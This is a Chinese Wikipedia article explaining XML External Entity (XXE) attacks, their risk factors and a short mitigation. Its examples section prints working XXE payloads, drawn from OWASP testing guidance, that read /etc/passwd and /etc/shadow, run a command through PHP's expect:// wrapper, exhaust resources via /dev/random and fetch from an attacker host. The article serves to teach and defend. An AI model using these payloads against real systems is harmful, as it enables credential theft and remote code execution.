XML外部實體攻擊

維基百科,自由的百科全書

XML外部實體攻擊是一種針對解析XML格式應用程式的攻擊類型之一。此類攻擊發生在配置不當的XML解析器處理指向外部實體的文檔時,可能會導致敏感文件洩露、拒絕服務攻擊、伺服器端請求偽造、埠掃描(解析器所在域)和其他系統影響。[1]

簡介[編輯]

XML 1.0標準定義了XML文檔結構,同時定義了實體的概念,即某種類型的存儲單元。外部一般解析實體或外部參數解析實體通常簡稱為外部實體,攻擊者可聲明特定系統標識符英語System identifier來訪問伺服器本地或遠程內容。XML處理器假設系統標識符為可訪問的統一資源標誌符(URI),然後將同名的外部實體以系統標識符所指定的資源內容解除引用。若系統標識符被修改,則XML處理器可能會洩露應用程式通常無法訪問的秘密信息。類似的攻擊矢量可能會利用外部文檔類型定義(DTD)、外部樣式表和外部Schema等等,這些同樣會導致類似的外部資源包含攻擊。

此類攻擊利用系統標識符中的文件、Schema及相對路徑來洩露本地文件(如用戶數據等)。由於攻擊過程發生在處理XML文檔的應用程式中,攻擊者可濫用此受信的應用程式對其他內部系統進行攻擊,也可能通過http(s)請求洩露其他內部內容,亦可能對其他未受保護的內部服務進行跨站請求偽造攻擊。在部分情形下,攻擊者可通過解引用惡意URI的方式對存在內存損壞英語Memory corruption問題的XML處理庫進行攻擊,導致任意代碼執行(以應用程式所使用的帳戶)。其他攻擊針對持續返回數據的本地資源進行,可能會導致應用程式使用過多未釋放的執行緒行程

需要留意的是,應用程式無需明確返回數據來證明其受信息洩露問題的影響。攻擊者可利用受控制的DNS伺服器來傳輸數據至特定子域名。

風險因素[編輯]

  • 應用程式解析XML文檔;
  • 應用程式允許用戶修改文檔類型定義中實體的系統標識符部分;
  • XML處理器需驗證並處理文檔類型定義;
  • XML處理器需解析文檔類型定義中的外部實體。

攻擊示例[編輯]

下列攻擊示例來自《Testing for XML Injection (OWASP-DV-008)》。

訪問持續返回數據的本地資源[編輯]

 <?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>

遠程代碼執行[編輯]

PHP載入「expect」模塊時,攻擊者可使用修改過的載荷來執行遠程代碼

 <?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [ <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "expect://id" >]>
     <creds>
        <user>&xxe;</user>
        <pass>mypass</pass>
     </creds>

洩露/etc/passwd或其他目標文件[編輯]

  <?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
 
  <?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>
 
  <?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
 
  <?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo>

緩和方案[編輯]

由於XML文檔來自不受信的客戶端,伺服器通常無法有選擇性地進行數據驗證英語Data validation或忽略文檔類型定義中系統標識符部分的數據。因此,管理員應配置XML處理器使用本地靜態文件類型定義,並禁止XML文檔中所聲明的定義。

另請參閱[編輯]

參考文獻[編輯]

  1. ^ What Are XML External Entity (XXE) Attacks. Acunetix. [2019-09-02]. (原始內容存檔於2014-10-15). 

外部連結[編輯]